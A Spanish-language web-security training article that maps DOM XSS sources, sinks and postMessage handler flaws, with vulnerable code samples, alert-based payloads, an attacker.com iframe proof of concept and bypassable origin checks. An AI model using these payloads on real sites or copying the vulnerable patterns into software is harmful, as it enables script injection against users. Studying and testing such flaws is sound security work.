← Volver al buscador
Seguridad web Avanzado

DOM XSS — sources, sinks y gadgets para encadenar bypass de filtros

Mapa completo de sources (location, postMessage, document.referrer, localStorage) y sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets para construir payloads no detectables.

Respuesta rápida

DOM XSS es client-side: el payload nunca toca el server. El flujo es source → sink con o sin gadget intermedio. Sources comunes: location.hash, postMessage, document.referrer, window.name, localStorage. Sinks ejecutables: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). Cuando no hay sink directo, los gadgets (toString coercion, jQuery addBack, lodash _.set) convierten un sink "limpio" en ejecución arbitraria.


Sources — de dónde viene el input controlado

Cualquier dato que el atacante pueda manipular sin requerir backend.

SourceManipulaciónNotas
location.hashURL fragment #payloadNo se envía al server, ideal para no dejar logs
location.search?param=payloadReflejado server-side suele dar RXSS clásico, client-side da DOM XSS
location.pathnameURL path segmentsÚtil cuando hay routers client-side (React Router)
document.referrerHeader Referer del request previoAtacante controla via página propia con link
window.namePersiste cross-origin via target.name=... antes de navegarSource clásico para CSP bypass
postMessageiframe.contentWindow.postMessage(...)Most exploited DOM XSS vector en 2026
localStorage / sessionStorageSet desde otro XSS o subdomainPersistente
IndexedDBMismo origenIdem
WebSocket messageSi la app abre WS y atacante puede inyectar mensajes (MITM, server bug)Niche
BroadcastChannelMensajes entre tabs same-originNiche
document.cookieSet desde subdomain o cookie tossingÚtil cuando hay parsing client-side

Sinks — dónde se ejecuta JavaScript

Sinks "duros" (ejecutan JS directo si meten un payload):

element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);   // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput);          // jQuery
$(userInput);               // jQuery con HTML string
range.createContextualFragment(userInput);

Sinks "blandos" (necesitan que el payload tenga forma específica):

location.href = userInput;        // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput;          // <iframe src=javascript:...>
element.href = userInput;         // <a href=javascript:...>
element.action = userInput;       // <form action=javascript:...>
element.onclick = userInput;      // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput);  // si reflejado luego con innerHTML

Patrón source → sink trivial

// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
https://target.com/page#<img src=x onerror=alert(1)>

Detección automática: DOM Invader (Burp), DOMSnitch (Chrome extension), o el hook manual:

// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) {
    if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
      console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
    }
    origInnerHTML.set.call(this, v);
  }
});

postMessage handlers — el vector #1 de 2026

El listener window.addEventListener('message', ...) recibe datos cross-origin. Si no valida event.origin, cualquier dominio externo (iframe abierto en attacker.com con target.com framed) puede enviar payloads.

// Vulnerable
window.addEventListener('message', (e) => {
  document.getElementById('ads').innerHTML = e.data;
});

Exploit:

<!-- attacker.com -->
<iframe src="https://target.com/" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>

Variaciones más sofisticadas

JSON message + property dispatch

window.addEventListener('message', (e) => {
  const data = JSON.parse(e.data);
  if (data.type === 'render') {
    document.getElementById(data.target).innerHTML = data.html;
  }
});

Payload:

target.contentWindow.postMessage(
  JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
  '*'
);

Origin check con .includes o regex laxo

if (e.origin.includes('target.com')) { ... }  // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... }    // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... }  // eviltarget.com pasa

Cualquier validación que no use e.origin === 'https://target.com' es bypasseable.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Crear cuentaSuscribirmeVer labs relacionados

Practica esto en un lab

Dom Xss Gadgets Postmessage

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

Gratis

DOM XSS — gadgets, postMessage handlers y CVE-2025-59840

DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.

13 mindom-xssxsspostmessage
Leer artículo
Premium$3500

Client-side admin bypass — boolean manipulation + BAC en SPA moderna

Report real Quora: SPA con isAdmin boolean en localStorage que controla UI + backend que no valida server-side. Cómo encadenar boolean flip con BAC para admin takeover.

13 minbacadmin-bypassclient-side
Leer artículo
Gratis

Análisis JavaScript client-side — endpoints, secrets y source maps

Extracción de endpoints ocultos de JS bundles, detección de secrets, análisis de source maps y dynamic instrumentation con Frida para auditar lógica client-side.

10 minjavascriptreconclient-side
Leer artículo
Nivel avanzadoToda la Academy

Contenido educativo de Kerb3r0ps. Úsalo solo sobre sistemas para los que tengas permiso. Volver al buscador.